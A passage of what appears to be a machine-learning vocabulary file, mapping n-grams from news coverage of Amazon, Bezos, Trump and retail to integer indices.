\"deflate\": 142993,\n  \"labor movement\": 142994,\n  \"truck crossing\": 142995,\n  \"asylumist\": 142996,\n  \"congress taking\": 142997,\n  \"seemingly allow\": 142998,\n  \"investing profits\": 142999,\n  \"love michael\": 143000,\n  \"hills mothers\": 143001,\n  \"really expect\": 143002,\n  \"mocking caitlyn\": 143003,\n  \"guest eliana\": 143004,\n  \"ice hockey\": 143005,\n  \"pay policies\": 143006,\n  \"wild blue\": 143007,\n  \"raids large\": 143008,\n  \"factory job\": 143009,\n  \"sino\": 143010,\n  \"magnetic kickstand\": 143011,\n  \"manha\": 143012,\n  \"adjusted second\": 143013,\n  \"twitter glad\": 143014,\n  \"tech startups\": 143015,\n  \"various social\": 143016,\n  \"country hasn\": 143017,\n  \"way president\": 143018,\n  \"bro flight\": 143019,\n  \"fossil fuel\": 143020,\n  \"carpet\": 143021,\n  \"gop held\": 143022,\n  \"monitoring 2018\": 143023,\n  \"taxed state\": 143024,\n  \"businesses\": 143025,\n  \"sundance\": 143026,\n  \"amzn walmart\": 143027,\n  \"larger rival\": 143028,\n  \"positions\": 143029,\n  \"fellow fox\": 143030,\n  \"sad people\": 143031,\n  \"ceo housing\": 143032,\n  \"victims told\": 143033,\n  \"indicators\": 143034,\n  \"party lines\": 143035,\n  \"shone\": 143036,\n  \"numerous nude\": 143037,\n  \"heart tracks\": 143038,\n  \"litigation designed\": 143039,\n  \"sellers having\": 143040,\n  \"america mission\": 143041,\n  \"win result\": 143042,\n  \"nik\": 143043,\n  \"albin\": 143044,\n  \"long tailed\": 143045,\n  \"bet apologized\": 143046,\n  \"fargo maintained\": 143047,\n  \"usurpation\": 143048,\n  \"news walmart\": 143049,\n  \"kr notably\": 143050,\n  \"nyse gs\": 143051,\n  \"house late\": 143052,\n  \"order cnn\": 143053,\n  \"smelling\": 143054,\n  \"threatens national\": 143055,\n  \"antonio reveals\": 143056,\n  \"tpezt2qu3g\": 143057,\n  \"arry\": 143058,\n  \"tech infrastructure\": 143059,\n  \"great conversation\": 143060,\n  \"trump noted\": 143061,\n  \"addition really\": 143062,\n  \"friends say\": 143063,\n  \"jassy failure\": 143064,\n  \"blank\": 143065,\n  \"david price\": 143066,\n  \"reality technology\": 143067,\n  \"antivirus software\": 143068,\n  \"passed bad\": 143069,\n  \"consuming\": 143070,\n  \"kurtz foto\": 143071,\n  \"exclusive alfalfa\": 143072,\n  \"md peace\": 143073,\n  \"gods follows\": 143074,\n  \"increasingly impressive\": 143075,\n  \"income drop\": 143076,\n  \"different language\": 143077,\n  \"orders index\": 143078,\n  \"200 points\": 143079,\n  \"huffing\": 143080,\n  \"service second\": 143081,\n  \"essential role\": 143082,\n  \"launch brands\": 143083,\n  \"channels just\": 143084,\n  \"tribune eagle\": 143085,\n  \"solomon\": 143086,\n  \"attacks risk\": 143087,\n  \"gangster deep\": 143088,\n  \"400 shared\": 143089,\n  \"notes pecker\": 143090,\n  \"mile food\": 143091,\n  \"company introduced\": 143092,\n  \"getaway\": 143093,\n  \"buying negative\": 143094,\n  \"bezos gates\": 143095,\n  \"solve boorstin\": 143096,\n  \"morally flexible\": 143097,\n  \"fake story\": 143098,\n  \"independent sen\": 143099,\n  \"day records\": 143100,\n  \"100 calories\": 143101,\n  \"cory\": 143102,\n  \"indispensable role\": 143103,\n  \"amazon quest\": 143104,\n  \"journal usa\": 143105,\n  \"southern main\": 143106,\n  \"service plans\": 143107,\n  \"bezos dropped\": 143108,\n  \"mnuchin confirmed\": 143109,\n  \"project outlines\": 143110,\n  \"mean toronto\": 143111,\n  \"debt nov\": 143112,\n  \"qi\": 143113,\n  \"amazon lord\": 143114,\n  \"selling services\": 143115,\n  \"house generated\": 143116,\n  \"trump toys\": 143117,\n  \"doctored fakery\": 143118,\n  \"having left\": 143119,\n  \"month hulu\": 143120,\n  \"keeley hawes\": 143121,\n  \"carrier safety\": 143122,\n  \"certificate\": 143123,\n  \"virginia curiously\": 143124,\n  \"planet thinks\": 143125,\n  \"drug trial\": 143126,\n  \"stay instead\": 143127,\n  \"tank writes\": 143128,\n  \"school funding\": 143129,\n  \"vip\": 143130,\n  \"enquirer website\": 143131,\n  \"benefits workers\": 143132,\n  \"people enemy\": 143133,\n  \"director talks\": 143134,\n  \"anti corporate\": 143135,\n  \"stories follow\": 143136,\n  \"shows parkland\": 143137,\n  \"reputation institute\": 143138,\n  \"waning\": 143139,\n  \"concerns regarding\": 143140,\n  \"124\": 143141,\n  \"states tensions\": 143142,\n  \"word trump\": 143143,\n  \"year blood\": 143144,\n  \"legal services\": 143145,\n  \"india love\": 143146,\n  \"texture try\": 143147,\n  \"surgeon general\": 143148,\n  \"million objects\": 143149,\n  \"separating aws\": 143150,\n  \"reconsidered\": 143151,\n  \"tantrum\": 143152,\n  \"editor david\": 143153,\n  \"corporate locations\": 143154,\n  \"taught economics\": 143155,\n  \"positive fiscal\": 143156,\n  \"policies bob\": 143157,\n  \"stalking case\": 143158,\n  \"spurious\": 143159,\n  \"taking near\": 143160,\n  \"festering\": 143161,\n  \"arabia abramowitz\": 143162,\n  \"absurd tax\": 143163,\n  \"government enforce\": 143164,\n  \"wealth gap\": 143165,\n  \"costs totaled\": 143166,\n  \"net trade\": 143167,\n  \"isn reboot\": 143168,\n  \"pompeo sen\": 143169,\n  \"bezos referred\": 143170,\n  \"enquirer despite\": 143171,\n  \"time bonuses\": 143172,\n  \"visionary\": 143173,\n  \"aspiriant\": 143174,\n  \"peavine\": 143175,\n  \"syncs\": 143176,\n  \"services hhs\": 143177,\n  \"classic case\": 143178,\n  \"party flagged\": 143179,\n  \"encouraged employees\": 143180,\n  \"company fee\": 143181,\n  \"jolt lower\": 143182,\n  \"socioambiental\": 143183,\n  \"driver assisted\": 143184,\n  \"geographic\": 143185,\n  \"spend half\": 143186,\n  \"win streaks\": 143187,\n  \"bodes\": 143188,\n  \"partly cloudy\": 143189,\n  \"discussed selling\": 143190,\n  \"nflx\": 143191,\n  \"continued donald\": 143192,\n  \"trump thinks\": 143193,\n  \"trump faced\": 143194,\n  \"interior ryan\": 143195,\n  \"overly nancy\": 143196,\n  \"retailer weekly\": 143197,\n  \"support bloodying\": 143198,\n  \"allowing massive\": 143199,\n  \"fat cats\": 143200,\n  \"yeah selyukh\": 143201,\n  \"prosperity gospel\": 143202,\n  \"outfits helped\": 143203,\n  \"pennies\": 143204,\n  \"merchants warehouses\": 143205,\n  \"minus negative\": 143206,\n  \"remarks targeting\": 143207,\n  \"volume simply\": 143208,\n  \"sharp criticism\": 143209,\n  \"infusion\": 143210,\n  \"settimeout function\": 143211,\n  \"giant microsoft\": 143212,\n  \"plays joy\": 143213,\n  \"make earnings\": 143214,\n  \"short sting\": 143215,\n  \"netflix chilling\": 143216,\n  \"spoken glowingly\": 143217,\n  \"buzz60 file\": 143218,\n  \"lost sixth\": 143219,\n  \"intimidate witnesses\": 143220,\n  \"employment says\": 143221,\n  \"winner white\": 143222,\n  \"florida golf\": 143223,\n  \"stocks investing\": 143224,\n  \"intelligence antitrust\": 143225,\n  \"pressures businesses\": 143226,\n  \"mauricio\": 143227,\n  \"diplomatically continue\": 143228,\n  \"culturally important\": 143229,\n  \"video player\": 143230,\n  \"traditional carabiner\": 143231,\n  \"briefly lifted\": 143232,\n  \"rekognition aws\": 143233,\n  \"uwu owo\": 143234,\n  \"jf0cj6zesg\": 143235,\n  \"new family\": 143236,\n  \"credible guy\": 143237,\n  \"pagels ecco\": 143238,\n  \"mcdonogh courier\": 143239,\n  \"including leaked\": 143240,\n  \"continuing medical\": 143241,\n  \"additional announces\": 143242,\n  \"country giant\": 143243,\n  \"left needs\": 143244,\n  \"food supply\": 143245,\n  \"agencies contract\": 143246,\n  \"political weight\": 143247,\n  \"ma says\": 143248,\n  \"70s american\": 143249,\n  \"wmal\": 143250,\n  \"perishable goods\": 143251,\n  \"solid binge\": 143252,\n  \"pay prevailing\": 143253,\n  \"us150 000\": 143254,\n  \"grammar geometry\": 143255,\n  \"sparkle\": 143256,\n  \"company main\": 143257,\n  \"phrase impeach\": 143258,\n  \"years amy\": 143259,\n  \"cv\": 143260,\n  \"support president\": 143261,\n  \"consistently incorrect\": 143262,\n  \"amazon affiliated\": 143263,\n  \"netflixs sacred\": 143264,\n  \"content analysis\": 143265,\n  \"important country\": 143266,\n  \"pitney bowes\": 143267,\n  \"report suspicious\": 143268,\n  \"weinstein walked\": 143269,\n  \"stephanie\": 143270,\n  \"innovative benefit\": 143271,\n  \"john phillips\": 143272,\n  \"india status\": 143273,\n  \"national dinner\": 143274,\n  \"providers knocks\": 143275,\n  \"fined nearly\": 143276,\n  \"search photo\": 143277,\n  \"weaver executive\": 143278,\n  \"capital gains\": 143279,\n  \"ads hide\": 143280,\n  \"party partners\": 143281,\n  \"fight scenes\": 143282,\n  \"executive response\": 143283,\n  \"note earlier\": 143284,\n  \"return t5q\": 143285,\n  \"helped arrange\": 143286,\n  \"maurice ellisonthe\": 143287,\n  \"531 shares\": 143288,\n  \"yorkers love\": 143289,\n  \"used independent\": 143290,\n  \"moneywithout ruining\": 143291,\n  \"listed price\": 143292,\n  \"desperately poor\": 143293,\n  \"109 billion\": 143294,\n  \"office plastic\": 143295,\n  \"experimentation\": 143296,\n  \"target best\": 143297,\n  \"252 million\": 143298,\n  \"costs equality\": 143299,\n  \"residential property\": 143300,\n  \"800 845\": 143301,\n  \"called conglomerate\": 143302,\n  \"twitter dorsey\": 143303,\n  \"view trump\": 143304,\n  \"company treats\": 143305,\n  \"amazon denies\": 143306,\n  \"work permits\": 143307,\n  \"racine planned\": 143308,\n  \"lucknow\": 143309,\n  \"washington sinclair\": 143310,\n  \"grandinetti\": 143311,\n  \"issue eventually\": 143312,\n  \"btt\": 143313,\n  \"cannabinoid\": 143314,\n  \"government cut\": 143315,\n  \"appropriate number\": 143316,\n  \"holidays arrive\": 143317,\n  \"figures assistant\": 143318,\n  \"past obstacle\": 143319,\n  \"taseer author\": 143320,\n  \"cass sunstein\": 143321,\n  \"metropolises\": 143322,\n  \"directly engaged\": 143323,\n  \"government removing\": 143324,\n  \"saturdaynight live\": 143325,\n  \"item manufacturer\": 143326,\n  \"transmit\": 143327,\n  \"ahead don\": 143328,\n  \"spons keywords\": 143329,\n  \"speculation\": 143330,\n  \"partner\": 143331,\n  \"states 110\": 143332,\n  \"exploratory\": 143333,\n  \"deny trump\": 143334,\n  \"free good\": 143335,\n  \"practices probing\": 143336,\n  \"skill michigan\": 143337,\n  \"ago trending\": 143338,\n  \"place harley\": 143339,\n  \"pie squared\": 143340,\n  \"flew 600\": 143341,\n  \"hardcover copies\": 143342,\n  \"company solidified\": 143343,\n  \"reports emerged\": 143344,\n  \"group purpose\": 143345,\n  \"breaking apart\": 143346,\n  \"amazon predatory\": 143347,\n  \"hemisphere\": 143348,\n  \"trademark applications\": 143349,\n  \"page land\": 143350,\n  \"spoof\": 143351,\n  \"denel\": 143352,\n  \"deadbeat daddy\": 143353,\n  \"battleground pushes\": 143354,\n  \"resumes flights\": 143355,\n  \"way forward\": 143356,\n  \"horowitz chief\": 143357,\n  \"user promises\": 143358,\n  \"force reviewed\": 143359,\n  \"economic damages\": 143360,\n  \"order trump\": 143361,\n  \"walmart wmt\": 143362,\n  \"flight landing\": 143363,\n  \"improving\": 143364,\n  \"claim false\": 143365,\n  \"personal bezos\": 143366,\n  \"eliana johnson\": 143367,\n  \"huge source\": 143368,\n  \"refugee service\": 143369,\n  \"nation ouch\": 143370,\n  \"russell limited\": 143371,\n  \"drowned died\": 143372,\n  \"bleak\": 143373,\n  \"pressure makes\": 143374,\n  \"street watchers\": 143375,\n  \"trust regulations\": 143376,\n  \"ante\": 143377,\n  \"force appointed\": 143378,\n  \"world problems\": 143379,\n  \"match obviously\": 143380,\n  \"watch reached\": 143381,\n  \"district proposed\": 143382,\n  \"good just\": 143383,\n  \"bass\": 143384,\n  \"hemorrhaging cash\": 143385,\n  \"transported\": 143386,\n  \"overlook skinny\": 143387,\n  \"tsunami\": 143388,\n  \"melania shines\": 143389,\n  \"prevent alzheimer\": 143390,\n  \"slow hiring\": 143391,\n  \"crippling debt\": 143392,\n  \"refinanced\": 143393,\n  \"oecd read\": 143394,\n  \"amazon margins\": 143395,\n  \"washington publish\": 143396,\n  \"studied 750\": 143397,\n  \"fact 2012\": 143398,\n  \"fair market\": 143399,\n  \"laboratories\": 143400,\n  \"wait minute\": 143401,\n  \"amazon smart\": 143402,\n  \"offer readers\": 143403,\n  \"innovation contributed\": 143404,\n  \"mcallen hidalgo\": 143405,\n  \"claims contending\": 143406,\n  \"future cash\": 143407,\n  \"new interview\": 143408,\n  \"gerryr812 status\": 143409,\n  \"years close\": 143410,\n  \"bezos clearly\": 143411,\n  \"canceled planned\": 143412,\n  \"investor relations\": 143413,\n  \"mauricio torres\": 143414,\n  \"beauty\": 143415,\n  \"fargo acclaim\": 143416,\n  \"rheinberg eduardo\": 143417,\n  \"total\": 143418,\n  \"border funding\": 143419,\n  \"oecomplexifier\": 143420,\n  \"1984 reasons\": 143421,\n  \"declares\": 143422,\n  \"deal appears\": 143423,\n  \"anti swamp\": 143424,\n  \"immediately yesterday\": 143425,\n  \"arriving earnings\": 143426,\n  \"creating blue\": 143427,\n  \"reports missouri\": 143428,\n  \"cuttino\": 143429,\n  \"pregame\": 143430,\n  \"impersonating\": 143431,\n  \"amazon newsy\": 143432,\n  \"year amazon\": 143433,\n  \"husband jeff\": 143434,\n  \"denver post\": 143435,\n  \"tm crackdown\": 143436,\n  \"diseases energy\": 143437,\n  \"eased\": 143438,\n  \"2bvwxqnatl\": 143439,\n  \"higher steel\": 143440,\n  \"state funding\": 143441,\n  \"wire new\": 143442,\n  \"unpredictable globes\": 143443,\n  \"del percio\": 143444,\n  \"ethics disclosures\": 143445,\n  \"assisted\": 143446,\n  \"exposed blazed\": 143447,\n  \"safety monitoring\": 143448,\n  \"centers sell\": 143449,\n  \"customers bought\": 143450,\n  \"2016 c5\": 143451,\n  \"tony armstrong\": 143452,\n  \"base tends\": 143453,\n  \"negatively impact\": 143454,\n  \"talked little\": 143455,\n  \"charging outside\": 143456,\n  \"hbo jane\": 143457,\n  \"561 shares\": 143458,\n  \"600 times\": 143459,\n  \"hateful conduct\": 143460,\n  \"police unit\": 143461,\n  \"u0 d4a\": 143462,\n  \"told vice\": 143463,\n  \"service lets\": 143464,\n  \"carrier costs\": 143465,\n  \"counterpoint\": 143466,\n  \"wolff\": 143467,\n  \"burch\": 143468,\n  \"shutdown president\": 143469,\n  \"michael sister\": 143470,\n  \"qdt4yol5z4\": 143471,\n  \"historically bad\": 143472,\n  \"journalistic\": 143473,\n  \"company dating\": 143474,\n  \"geopolitics\": 143475,\n  \"enquirer insider\": 143476,\n  \"methodologies\": 143477,\n  \"discussions lead\": 143478,\n  \"loan debt\": 143479,\n  \"house deliveries\": 143480,\n  \"software businesses\": 143481,\n  \"counselors craig\": 143482,\n  \"boorstin takes\": 143483,\n  \"stage making\": 143484,\n  \"seattle say\": 143485,\n  \"talk quickly\": 143486,\n  \"major publishers\": 143487,\n  \"eavesdropping bug\": 143488,\n  \"voters believed\": 143489,\n  \"withdrew obama\": 143490,\n  \"downsizinggovernment org\": 143491,\n  \"newspaper owner\": 143492,\n  \"health scares\": 143493,\n  \"ordinarily\": 143494,\n  \"thoughtfully selected\": 143495,\n  \"heist\": 143496,\n  \"torres archer\": 143497,\n  \"watching futures\": 143498,\n  \"marriott pilot\": 143499,\n  \"government plus\": 143500,\n  \"times spokesperson\": 143501,\n  \"close set\": 143502,\n  \"venom official\": 143503,\n  \"oil advanced\": 143504,\n  \"major effect\": 143505,\n  \"members leaving\": 143506,\n  \"workroom\": 143507,\n  \"asian region\": 143508,\n  \"adviser matthew\": 143509,\n  \"proposals political\": 143510,\n  \"moment brian\": 143511,\n  \"jobs political\": 143512,\n  \"reported 200\": 143513,\n  \"rates fedex\": 143514,\n  \"notorious liar\": 143515,\n  \"review purposes\": 143516,\n  \"crossfire\": 143517,\n  \"letter telling\": 143518,\n  \"american idea\": 143519,\n  \"mcgregor\": 143520,\n  \"kingdoms taste\": 143521,\n  \"club jumped\": 143522,\n  \"signature references\": 143523,\n  \"really consumers\": 143524,\n  \"does recommend\": 143525,\n  \"raised parcel\": 143526,\n  \"roadways\": 143527,\n  \"edition globally\": 143528,\n  \"weather virginia\": 143529,\n  \"ended purdue\": 143530,\n  \"man bezos\": 143531,\n  \"doing right\": 143532,\n  \"cristina barcelona\": 143533,\n  \"owlfirstitem\": 143534,\n  \"2018 initial\": 143535,\n  \"set buy\": 143536,\n  \"funeral proceedings\": 143537,\n  \"gutter\": 143538,\n  \"posted billion\": 143539,\n  \"sent 600\": 143540,\n  \"cnn anderson\": 143541,\n  \"publisher david\": 143542,\n  \"missing hawaii\": 143543,\n  \"wallet demonstrates\": 143544,\n  \"dishart\": 143545,\n  \"standard letters\": 143546,\n  \"hired sanchez\": 143547,\n  \"marring\": 143548,\n  \"endeavors meet\": 143549,\n  \"rekognition asking\": 143550,\n  \"doesn owe\": 143551,\n  \"company announced\": 143552,\n  \"amazon free\": 143553,\n  \"really giving\": 143554,\n  \"aws dominant\": 143555,\n  \"entrenched monopolies\": 143556,\n  \"karni\": 143557,\n  \"coauthor\": 143558,\n  \"emissions co2\": 143559,\n  \"sobering\": 143560,\n  \"faso\": 143561,\n  \"iphones kvaal\": 143562,\n  \"401k student\": 143563,\n  \"payment arena\": 143564,\n  \"news merchandise\": 143565,\n  \"chavie\": 143566,\n  \"box contains\": 143567,\n  \"charleston church\": 143568,\n  \"deploying cash\": 143569,\n  \"carol miller\": 143570,\n  \"recent filing\": 143571,\n  \"notified\": 143572,\n  \"binge watching\": 143573,\n  \"using multiple\": 143574,\n  \"time calling\": 143575,\n  \"cap stock\": 143576,\n  \"goods president\": 143577,\n  \"expensive lobbying\": 143578,\n  \"legitimate sockslane\": 143579,\n  \"amazon blimp\": 143580,\n  \"website concluded\": 143581,\n  \"needs money\": 143582,\n  \"published yelp\": 143583,\n  \"oxfam\": 143584,\n  \"technology 202\": 143585,\n  \"country isn\": 143586,\n  \"new statutory\": 143587,\n  \"wadhwa\": 143588,\n  \"tech shifting\": 143589,\n  \"constructive\": 143590,\n  \"users data\": 143591,\n  \"church doctrine\": 143592,\n  \"deuce\": 143593,\n  \"city real\": 143594,\n  \"inadequate hill\": 143595,\n  \"amazon dash\": 143596,\n  \"2015 tg387\": 143597,\n  \"mounted campaign\": 143598,\n  \"immensely profitable\": 143599,\n  \"kids 2018\": 143600,\n  \"accenture technology\": 143601,\n  \"crookedhillary\": 143602,\n  \"alliance\": 143603,\n  \"arc new\": 143604,\n  \"imprint melville\": 143605,\n  \"continued operation\": 143606,\n  \"new lobbying\": 143607,\n  \"tumor\": 143608,\n  \"people lives\": 143609,\n  \"ghirda\": 143610,\n  \"overworking employees\": 143611,\n  \"year competing\": 143612,\n  \"rates 2018\": 143613,\n  \"ny thanksgiving\": 143614,\n  \"couple leaves\": 143615,\n  \"essay alleging\": 143616,\n  \"course varney\": 143617,\n  \"bona\": 143618,\n  \"edition program\": 143619,\n  \"internal storage\": 143620,\n  \"focus domestic\": 143621,\n  \"ye\": 143622,\n  \"reflect poorly\": 143623,\n  \"court says\": 143624,\n  \"australians killed\": 143625,\n  \"nixon ghost\": 143626,\n  \"172 million\": 143627,\n  \"emergencies haiti\": 143628,\n  \"onize small\": 143629,\n  \"costs threatens\": 143630,\n  \"antitrust violations\": 143631,\n  \"large behemoths\": 143632,\n  \"poll health\": 143633,\n  \"mighty second\": 143634,\n  \"regularly updated\": 143635,\n  \"monitoring comcast\": 143636,\n  \"joseph cut\": 143637,\n  \"administration gsa\": 143638,\n  \"amazon tumbled\": 143639,\n  \"bernank youtube\": 143640,\n  \"encouraged washington\": 143641,\n  \"fairness 2019\": 143642,\n  \"song lines\": 143643,\n  \"bore tunnels\": 143644,\n  \"us400 000\": 143645,\n  \"sanction\": 143646,\n  \"considered sales\": 143647,\n  \"story trader\": 143648,\n  \"totally distracted\": 143649,\n  \"rep ben\": 143650,\n  \"soothing\": 143651,\n  \"blackrock says\": 143652,\n  \"bother retailers\": 143653,\n  \"sports stadiums\": 143654,\n  \"haired lover\": 143655,\n  \"shot roaming\": 143656,\n  \"overnight deliveries\": 143657,\n  \"international retail\": 143658,\n  \"local government\": 143659,\n  \"stevens san\": 143660,\n  \"stalking george\": 143661,\n  \"americans quest\": 143662,\n  \"kalanick secretly\": 143663,\n  \"supposedly vampiric\": 143664,\n  \"controversies round\": 143665,\n  \"arbitration\": 143666,\n  \"russian counterpart\": 143667,\n  \"million residences\": 143668,\n  \"company security\": 143669,\n  \"post met\": 143670,\n  \"public safety\": 143671,\n  \"room deciding\": 143672,\n  \"jimmy carter\": 143673,\n  \"algorithmic\": 143674,\n  \"media published\": 143675,\n  \"aws does\": 143676,\n  \"say reduction\": 143677,\n  \"texts including\": 143678,\n  \"scrutiny don\": 143679,\n  \"quarter mile\": 143680,\n  \"used catch\": 143681,\n  \"promising\": 143682,\n  \"sun newspaper\": 143683,\n  \"money machine\": 143684,\n  \"cjr lyz\": 143685,\n  \"wants cronyism\": 143686,\n  \"lyft shows\": 143687,\n  \"crystal\": 143688,\n  \"trump demands\": 143689,\n  \"gothamist\": 143690,\n  \"workers juxtaposing\": 143691,\n  \"special constituencies\": 143692,\n  \"foto sourcelord\": 143693,\n  \"points lower\": 143694,\n  \"heil trump\": 143695,\n  \"mariachi\": 143696,\n  \"enhanced tracking\": 143697,\n  \"robinson thank\": 143698,\n  \"does drive\": 143699,\n  \"hidespinner containerid\": 143700,\n  \"tribeca amazon\": 143701,\n  \"mavy_florian\": 143702,\n  \"region amazon\": 143703,\n  \"generate goodwill\": 143704,\n  \"mein kampf\": 143705,\n  \"mangement corp\": 143706,\n  \"zm4dyqeqxl\": 143707,\n  \"history prior\": 143708,\n  \"curious customers\": 143709,\n  \"old tricks\": 143710,\n  \"penny tax\": 143711,\n  \"persecution following\": 143712,\n  \"financially expressed\": 143713,\n  \"provides case\": 143714,\n  \"cost saving\": 143715,\n  \"grandstanding\": 143716,\n  \"marginalized mixed\": 143717,\n  \"company filling\": 143718,\n  \"simply explained\": 143719,\n  \"yesterday asked\": 143720,\n  \"available live\": 143721,\n  \"better informed\": 143722,\n  \"dc maybe\": 143723,\n  \"indian warplanes\": 143724,\n  \"sand hill\": 143725,\n  \"amer\": 143726,\n  \"chips david\": 143727,\n  \"office photo\": 143728,\n  \"busy engel\": 143729,\n  \"bythe deal\": 143730,\n  \"trying hard\": 143731,\n  \"president ending\": 143732,\n  \"investor 2018\": 143733,\n  \"nbc cuts\": 143734,\n  \"trade adviser\": 143735,\n  \"editorial director\": 143736,\n  \"yoga\": 143737,\n  \"online dominance\": 143738,\n  \"extra day\": 143739,\n  \"want antifa\": 143740,\n  \"digicracy\": 143741,\n  \"t0 catch\": 143742,\n  \"frustrating\": 143743,\n  \"mixed retail\": 143744,\n  \"organ doctors\": 143745,\n  \"vt sent\": 143746,\n  \"models walmart\": 143747,\n  \"mike tomlin\": 143748,\n  \"morelli\": 143749,\n  \"scenes media\": 143750,\n  \"rights chief\": 143751,\n  \"inc_canonical_url\": 143752,\n  \"grassley ia\": 143753,\n  \"did wrong\": 143754,\n  \"public attack\": 143755,\n  \"comeback video\": 143756,\n  \"small portion\": 143757,\n  \"amazon produces\": 143758,\n  \"8h wardrobe\": 143759,\n  \"reported stocks\": 143760,\n  \"armstrong\": 143761,\n  \"meme resurfaces\": 143762,\n  \"tohold public\": 143763,\n  \"amazon rate\": 143764,\n  \"include explicit\": 143765,\n  \"content congress\": 143766,\n  \"rules likewise\": 143767,\n  \"costs walmart\": 143768,\n  \"guacamole\": 143769,\n  \"reportedly returned\": 143770,\n  \"overwhelming\": 143771,\n  \"slightly stronger\": 143772,\n  \"walmart report\": 143773,\n  \"targets interestingly\": 143774,\n  \"conservatives specifically\": 143775,\n  \"engrossing\": 143776,\n  \"yillion\": 143777,\n  \"home instead\": 143778,\n  \"stocking\": 143779,\n  \"bush share\": 143780,\n  \"behooved\": 143781,\n  \"trump talk\": 143782,\n  \"releases following\": 143783,\n  \"seen surge\": 143784,\n  \"seek revenge\": 143785,\n  \"testify khashoggi\": 143786,\n  \"octane\": 143787,\n  \"respectfully urge\": 143788,\n  \"vibram\": 143789,\n  \"businessmen thirty\": 143790,\n  \"rise fraction\": 143791,\n  \"treated immigrants\": 143792,\n  \"including michigan\": 143793,\n  \"valuable business\": 143794,\n  \"government facility\": 143795,\n  \"restuccia report\": 143796,\n  \"called neutral\": 143797,\n  \"575 000\": 143798,\n  \"estimates grew\": 143799,\n  \"jibed\": 143800,\n  \"bald\": 143801,\n  \"declines bringing\": 143802,\n  \"cramer sarge\": 143803,\n  \"mark war\": 143804,\n  \"purchase information\": 143805,\n  \"overboard\": 143806,\n  \"generators\": 143807,\n  \"consumer welfare\": 143808,\n  \"programming lost\": 143809,\n  \"bulls want\": 143810,\n  \"backed cloud\": 143811,\n  \"politico new\": 143812,\n  \"sick burn\": 143813,\n  \"source community\": 143814,\n  \"house travel\": 143815,\n  \"partners source\": 143816,\n  \"rebirth\": 143817,\n  \"helps students\": 143818,\n  \"embrace legalized\": 143819,\n  \"usps reported\": 143820,\n  \"jettison\": 143821,\n  \"shah\": 143822,\n  \"walker power\": 143823,\n  \"evaluating usps\": 143824,\n  \"left americans\": 143825,\n  \"broadcast network\": 143826,\n  \"divorce hit\": 143827,\n  \"publicized strikes\": 143828,\n  \"pass voting\": 143829,\n  \"soar\": 143830,\n  \"warrant\": 143831,\n  \"walker point\": 143832,\n  \"unlimited white\": 143833,\n  \"agency axis\": 143834,\n  \"great companies\": 143835,\n  \"french investment\": 143836,\n  \"individuals affected\": 143837,\n  \"29348\": 143838,\n  \"refugee camp\": 143839,\n  \"guardian senate\": 143840,\n  \"charged sales\": 143841,\n  \"author jeff\": 143842,\n  \"corporation nycedc\": 143843,\n  \"vote today\": 143844,\n  \"kingmaker\": 143845,\n  \"creation followed\": 143846,\n  \"game\": 143847,\n  \"uber core\": 143848,\n  \"know liberals\": 143849,\n  \"cordoba\": 143850,\n  \"day drop\": 143851,\n  \"quran\": 143852,\n  \"undisclosed sum\": 143853,\n  \"dirty money\": 143854,\n  \"economy company\": 143855,\n  \"obama detractor\": 143856,\n  \"stupid bring\": 143857,\n  \"bad thing\": 143858,\n  \"nationals\": 143859,\n  \"higher usage\": 143860,\n  \"taliban trump\": 143861,\n  \"help upbeat\": 143862,\n  \"schiff intelligence\": 143863,\n  \"questions accumulate\": 143864,\n  \"trump answer\": 143865,\n  \"multicarrier partnership\": 143866,\n  \"typeahead make\": 143867,\n  \"ted williams\": 143868,\n  \"tragedy\": 143869,\n  \"war having\": 143870,\n  \"usps generated\": 143871,\n  \"2016 event\": 143872,\n  \"staff lawyers\": 143873,\n  \"prism sycophants\": 143874,\n  \"customers joining\": 143875,\n  \"rationale existed\": 143876,\n  \"elements 2018\": 143877,\n  \"barreling forward\": 143878,\n  \"conclude louis\": 143879,\n  \"beasley resolved\": 143880,\n  \"anthony sent\": 143881,\n  \"855 743\": 143882,\n  \"owners just\": 143883,\n  \"acutely felt\": 143884,\n  \"videoleafurl\": 143885,\n  \"desired second\": 143886,\n  \"primarily injects\": 143887,\n  \"educator walkout\": 143888,\n  \"275\": 143889,\n  \"aclu says\": 143890,\n  \"monrovia indiana\": 143891,\n  \"getattribute r4ee\": 143892,\n  \"shareholder equity\": 143893,\n  \"controversial\": 143894,\n  \"commerce demand\": 143895,\n  \"compensates\": 143896,\n  \"recently saw\": 143897,\n  \"explained trump\": 143898,\n  \"markets slip\": 143899,\n  \"subjects\": 143900,\n  \"clear loser\": 143901,\n  \"recipients happy\": 143902,\n  \"called barnes\": 143903,\n  \"force president\": 143904,\n  \"legal insurrection\": 143905,\n  \"selecting bidders\": 143906,\n  \"jeff bezos\": 143907,\n  \"usps long\": 143908,\n  \"putin responded\": 143909,\n  \"sears lampert\": 143910,\n  \"automated archiving\": 143911,\n  \"owner donald\": 143912,\n  \"including cash\": 143913,\n  \"candidates facebook\": 143914,\n  \"director david\": 143915,\n  \"site pleased\": 143916,\n  \"washington\": 143917,\n  \"meal trucks\": 143918,\n  \"adviser kellyanne\": 143919,\n  \"investigations alabama\": 143920,\n  \"looming threat\": 143921,\n  \"murphy partner\": 143922,\n  \"zealand bans\": 143923,\n  \"hire employees\": 143924,\n  \"invented\": 143925,\n  \"exactly unstoppable\": 143926,\n  \"allegedly carried\": 143927,\n  \"pursuing business\": 143928,\n  \"zone projects\": 143929,\n  \"amerika destroy\": 143930,\n  \"paid americans\": 143931,\n  \"technology pointing\": 143932,\n  \"retailer wayfair\": 143933,\n  \"portfolio share\": 143934,\n  \"retail number\": 143935,\n  \"central park\": 143936,\n  \"nasa projects\": 143937,\n  \"uses sh\": 143938,\n  \"previous deal\": 143939,\n  \"alums katie\": 143940,\n  \"corrupted\": 143941,\n  \"tech billionaire\": 143942,\n  \"trivedi\": 143943,\n  \"space fighting\": 143944,\n  \"really comment\": 143945,\n  \"maxx target\": 143946,\n  \"elections\": 143947,\n  \"reacts\": 143948,\n  \"added wrinkle\": 143949,\n  \"merchants selling\": 143950,\n  \"inhabits\": 143951,\n  \"company continue\": 143952,\n  \"bezoses split\": 143953,\n  \"bezostheclown realdonaldtrump\": 143954,\n  \"trump handling\": 143955,\n  \"nice ish\": 143956,\n  \"lends\": 143957,\n  \"anymore just\": 143958,\n  \"holding fish\": 143959,\n  \"dalio founder\": 143960,\n  \"6founder chairman\": 143961,\n  \"turkey financial\": 143962,\n  \"billion jedi\": 143963,\n  \"keith ellisonkeith\": 143964,\n  \"based web\": 143965,\n  \"korean\": 143966,\n  \"joan didion\": 143967,\n  \"film review\": 